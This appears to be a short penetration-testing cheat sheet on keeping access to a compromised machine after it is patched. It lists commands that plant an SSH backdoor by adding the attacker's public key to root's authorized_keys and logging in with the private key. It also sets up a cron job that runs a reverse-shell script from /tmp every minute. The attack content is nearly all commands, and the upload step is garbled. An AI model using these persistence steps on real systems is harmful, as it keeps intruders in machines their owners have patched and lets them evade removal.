Maintaining Access

If the system is later patched, then you'll still have access.

SSH Backdoor

# Generate key
ssh-keygen
cp /root/.ssh/id_ed25519.pub authorized_keys
cp /root/.ssh/id_ed25519 id_rsa
chmod 600 id_rsa

# Upload the authorized_keys file
/.ssh/authorized_keys

# SSH will throw an error. To avoid
rm ~/.ssh/known_hosts

ssh -i id_rsa [email protected]

Cronjob

cd /tmp
vim script.sh # Add revshell
chmod +x script.sh
crontab -e
* * * * * /tmp/script.sh